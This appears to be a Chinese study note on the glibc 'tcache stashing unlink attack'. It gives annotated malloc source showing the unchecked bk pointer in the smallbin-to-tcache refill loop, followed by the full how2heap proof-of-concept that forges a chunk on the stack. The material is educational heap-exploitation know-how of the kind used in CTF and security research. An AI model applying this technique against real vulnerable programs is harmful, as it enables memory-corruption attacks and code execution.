https://blog.csdn.net/Mr_Fmnwon/article/details/142649778
https://www.cnblogs.com/pwnfeifei/p/15859114.html
https://xz.aliyun.com/news/14650
漏洞分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb); // 获取size对应的small bin索引
bin = bin_at (av, idx); // 获取对应small bin链表头部
if ((victim = last (bin)) != bin)
// victim就是要脱链的堆块,也就是small bin里的最后一个
// 这个if在判断我们所需要的size的那条small bin链上是否存在堆块,存在的话就把victim给脱链
{
bck = victim->bk; // 获取victim的bk指针
if (__glibc_unlikely (bck->fd != victim)) // 对small bin的双向链表的完整性做了检查,确保victim->bk->fd指向的还是victim
// 如果我们在这里劫持了victim的bk指针,就会导致bck的fd指向的并不是victim,从而触发异常
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb); // 设置下一个(高地址)chunk的prev_inuse位
bin->bk = bck; // 将victim脱链
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim); // 如果不是主arena,设置非主arena标志
check_malloced_chunk (av, victim, nb); // 检查分配的chunk
#if USE_TCACHE
/* 在这里,如果看到其他相同大小的chunk,把它们放入tcache。 */
size_t tc_idx = csize2tidx (nb); // 获取size对应的tcache索引
if (tcache && tc_idx < mp_.tcache_bins) // 如果这个索引在tcache bin的范围里,也就是这个size属于tcache bin的范围
{
mchunkptr tc_victim;
/* 当bin不为空且tcache未满时,将chunks复制过去。 */
while (tcache->counts[tc_idx] < mp_.tcache_count // 如果tcache bin没有满
&& (tc_victim = last (bin)) != bin) // 如果small bin不为空,tc_victim为small bin中的最后一个堆块
{
if (tc_victim != 0)
{
bck = tc_victim->bk; // 这里取tc_victim的bk指针,并没有针对bck做双向链表完整性检查,因此我们可以去攻击tc_victim的bk指针
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; // 将tc_victim从small bin中脱链
bck->fd = bin; // 如果我们伪造bck,这里就可以将bck->fd的位置写入一个bin的地址(main_arena+96)
tcache_put (tc_victim, tc_idx); // 将tc_victim链入tc_idx这条链
}
}
}
#endif
void *p = chunk2mem (victim); // 将chunk转换为用户可用内存
alloc_perturb (p, bytes); // 对分配的内存进行扰动
return p; // 返回分配的内存
}
}
|
范围2.27-至今
tcache stashing unlink atttack 主要利用的是 calloc 函数会绕过 tcache 从smallbin 里取出 chunk 的特性。
由于smallbin 分配后,同大小的空闲块挂进会 tcache。且只有第一个chunk脱链时进行了链表完整性检查
攻击可实现两个效果:
1、任意地址上写一个main_area地址
2、任意地址分配chunk(构造合适)
实现第二种效果时
假设calloc之前smallbin中
FD:main_area->chunk2->chunk1
我们将chunk2的bk改为fakechunk1,然后修改fakechunk1的bk为fake2,则BK:fakechunk2<-fakechunk1<-chunk2<-chunk1<-main_area
calloc分配chunk1给用户,chunk2脱链进入tcache_bin,然后fake_chunk1进入tcache ,fakechunk2->fd=main_area
如果不修改fakechunk1的bk为一个可写地址(fake_chunk2),则
1
2
3
4
5
6
|
bck = tc_victim->bk; // 这里取tc_victim的bk指针,并没有针对bck做双向链表完整性检查,因此我们可以去攻击tc_victim的bk指针
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; // 将tc_victim从small bin中脱链
bck->fd = bin; /
|
这里的bck不可写,fake_chunk1无法脱链
https://blog.csdn.net/Mr_Fmnwon/article/details/142649778
这篇文章图画的很详细
how2heap例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;
setbuf(stdout, NULL);
printf("这个文件演示了tcache上的stashing unlink攻击。\n\n");
printf("这个poc已经在glibc-2.27、glibc-2.29和glibc-2.31上测试过。\n\n");
printf("当你能够覆盖victim->bk指针时,可以使用这个技术。此外,至少需要使用calloc分配一次chunk。最后,我们需要一个可写地址来绕过glibc中的检查。\n\n");
printf("在glibc中将smallbin放入tcache的机制给了我们发动攻击的机会。\n\n");
printf("这个技术允许我们将libc地址写到我们想要的任何地方,并在我们需要的地方创建一个假的chunk。在这个案例中,我们将在堆栈上创建这个chunk。\n\n");
// stack_var模拟我们想要分配的fake_chunk
printf("stack_var模拟我们想要分配的fake chunk。\n\n");
printf("首先,我们将一个可写地址写入fake_chunk->bk以绕过glibc中的bck->fd = bin检查。这里我们选择stack_var[2]的地址作为假的bk。稍后我们可以看到*(fake_chunk->bk + 0x10),也就是stack_var[4]将在攻击后成为libc地址。\n\n");
stack_var[3] = (unsigned long)(&stack_var[2]);
printf("你可以看到fake_chunk->bk的值是:%p\n\n",(void*)stack_var[3]);
printf("同时,让我们看看stack_var[4]的初始值:%p\n\n",(void*)stack_var[4]);
printf("现在我们用malloc分配9个chunks。\n\n");
//现在我们分配9个chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}
//将7个chunks放入tcache
printf("然后我们释放其中7个以将它们放入tcache。我们小心地没有按序释放chunk2到chunk9,因为相邻的unsorted bin会在另一个malloc之后合并。\n\n");
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}
printf("正如你所见,chunk1和[chunk3,chunk8]被放入tcache bins,而chunk0和chunk2将被放入unsorted bin。\n\n");
//最后一个tcache bin
free(chunk_lis[1]);
//现在它们被放入unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);
//转换为small bin
printf("现在我们分配一个大于0x90的chunk以将chunk0和chunk2放入small bin。\n\n");
malloc(0xa0);// size > 0x90
//现在5个tcache bins
printf("然后我们分配两个chunk以腾出small bins的空间。之后,我们现在有5个tcache bins和2个small bins。\n\n");
malloc(0x90);
malloc(0x90);
printf("现在我们模拟一个可以覆盖victim->bk指针到fake_chunk地址: %p的漏洞。\n\n",(void*)stack_var);
//更改victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/
//触发攻击
printf("最后我们用calloc分配一个0x90的chunk以触发攻击。之前释放的小bin将返回给用户,另一个和fake_chunk被链接到tcache bins。\n\n");
calloc(1,0x90);
printf("现在我们的fake chunk已经被放入tcache bin[0xa0]列表。它的fd指针现在指向下一个空闲chunk: %p,而bck->fd已经被更改为一个libc地址: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);
//分配并返回我们的fake chunk在堆栈上
target = malloc(0x90);
printf("正如你所见,下一次malloc(0x90)将返回我们的fake chunk区域: %p\n",(void*)target);
assert(target == &stack_var[2]);
return 0;
}
|